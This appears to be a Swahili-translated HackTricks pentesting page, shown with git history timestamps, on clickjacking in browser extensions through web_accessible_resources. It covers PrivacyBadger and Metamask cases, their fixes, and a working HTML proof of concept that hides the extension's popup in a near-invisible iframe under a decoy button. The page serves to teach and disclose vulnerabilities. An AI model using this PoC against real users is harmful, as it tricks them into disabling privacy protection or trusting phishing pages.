hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

112 lines
6.1 KiB
Markdown
Raw Normal View History

# BrowExt - ClickJacking
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 02:25:17 +01:00
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
2024-02-11 02:13:58 +00:00
## Taarifa Msingi
Ukurasa huu utatumia udhaifu wa ClickJacking katika kivinjari cha kivinjari.\
Ikiwa haujui ni nini ClickJacking angalia:
{% content-ref url="../clickjacking.md" %}
[clickjacking.md](../clickjacking.md)
{% endcontent-ref %}
Vifaa vinavyoendelea vina faili **`manifest.json`** na faili hiyo ya JSON ina uga `web_accessible_resources`. Hapa kuna kile [nyaraka za Chrome](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) zinasema kuhusu hilo:
> Rasilimali hizi zitapatikana kwenye ukurasa wa wavuti kupitia URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, ambayo inaweza kuzalishwa na **`njia ya extension.getURL`**. Rasilimali zilizoorodheshwa zinahudumiwa na vichwa sahihi vya CORS, hivyo wanapatikana kupitia mbinu kama XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
**`web_accessible_resources`** katika kivinjari cha kivinjari sio tu inapatikana kupitia wavuti; pia inafanya kazi na mamlaka ya asili ya upanuzi. Hii inamaanisha kuwa ina uwezo wa:
2024-02-06 04:10:38 +01:00
* Badilisha hali ya upanuzi
* Pakia rasilimali zaidi
* Kutenda na kivinjari kwa kiwango fulani
2024-02-06 04:10:38 +01:00
Hata hivyo, kipengele hiki kinaweka hatari ya usalama. Ikiwa rasilimali ndani ya **`web_accessible_resources`** ina utendaji wowote muhimu, mkaidi anaweza kuingiza rasilimali hii kwenye ukurasa wa wavuti wa nje. Watumiaji wasio na shaka wanaotembelea ukurasa huu wanaweza kwa bahati mbaya kuamsha rasilimali hii iliyowekwa. Kuamsha kunaoweza kusababisha matokeo yasiyotarajiwa, kulingana na ruhusa na uwezo wa rasilimali za upanuzi.
2024-02-11 02:13:58 +00:00
## Mfano wa PrivacyBadger
Katika upanuzi wa PrivacyBadger, udhaifu uligunduliwa kuhusiana na saraka ya `skin/` kutangazwa kama `web_accessible_resources` kwa njia ifuatayo (Angalia chapisho la asili [blog](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json
"web_accessible_resources": [
2024-02-11 02:13:58 +00:00
"skin/*",
"icons/*"
]
```
Hii usanidi ilisababisha shida ya usalama inayowezekana. Kwa usahihi, faili ya `skin/popup.html`, ambayo inaonyeshwa baada ya kuingiliana na ikoni ya PrivacyBadger kwenye kivinjari, inaweza kuingizwa ndani ya `iframe`. Kuingiza hii inaweza kutumika kudanganya watumiaji ili kwa bahati mbaya bonyeza "Zima PrivacyBadger kwa Tovuti hii". Hatua kama hiyo ingeathiri faragha ya mtumiaji kwa kulemaza ulinzi wa PrivacyBadger na huenda ikaweka mtumiaji katika hatari ya kufuatiliwa zaidi. Onyesho la kivutio cha kijidukuzi hiki linaweza kuonekana katika mfano wa video ya ClickJacking iliyotolewa kwenye [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Kushughulikia udhaifu huu, suluhisho rahisi lilitekelezwa: kuondoa `/skin/*` kutoka kwenye orodha ya `web_accessible_resources`. Mabadiliko haya yalipunguza hatari kwa kuhakikisha kwamba maudhui ya saraka ya `skin/` hayawezi kupatikana au kubadilishwa kupitia rasilimali zinazopatikana kwenye wavuti.
Suluhisho lilikuwa rahisi: **ondoa `/skin/*` kutoka kwa `web_accessible_resources`**.
### PoC
```html
2024-02-06 04:10:38 +01:00
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
2024-02-11 02:13:58 +00:00
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
2024-02-11 02:13:58 +00:00
float: top;
position: absolute;
}
button {
2024-02-11 02:13:58 +00:00
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
2024-02-11 02:13:58 +00:00
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
2024-02-11 02:13:58 +00:00
## Mfano wa Metamask
[**Machapisho ya blogu kuhusu ClickJacking katika Metamask yanaweza kupatikana hapa**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Katika kesi hii, Metamask ilisuluhisha udhaifu kwa kuhakikisha kwamba itifaki iliyotumika kufikia ilikuwa **`https:`** au **`http:`** (sio **`chrome:`** kwa mfano):
<figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
**Mwingine ClickJacking uliosuluhishwa** katika kifaa cha Metamask ilikuwa kwamba watumiaji walikuwa na uwezo wa **Bofya kuweka safi** wakati ukurasa ulionekana kuwa shuki kwa sababu ya `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kwa kuwa ukurasa huo ulikuwa na udhaifu wa Clickjacking, mshambuliaji angeweza kutumia hilo kuonyesha kitu cha kawaida ili kufanya muhanga abonyeze kuweka safi bila kugundua, na kisha kurudi kwenye ukurasa wa kuwinda ambao utakuwa umewekwa safi.
## Mfano wa Msaidizi wa Hazina ya Steam
Angalia ukurasa ufuatao kuona jinsi **XSS** katika kifaa cha kivinjari ilivyofungwa na udhaifu wa **ClickJacking**:
{% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md)
{% endcontent-ref %}
2024-02-11 02:13:58 +00:00
## Marejeo
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
2024-02-06 04:10:38 +01:00
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)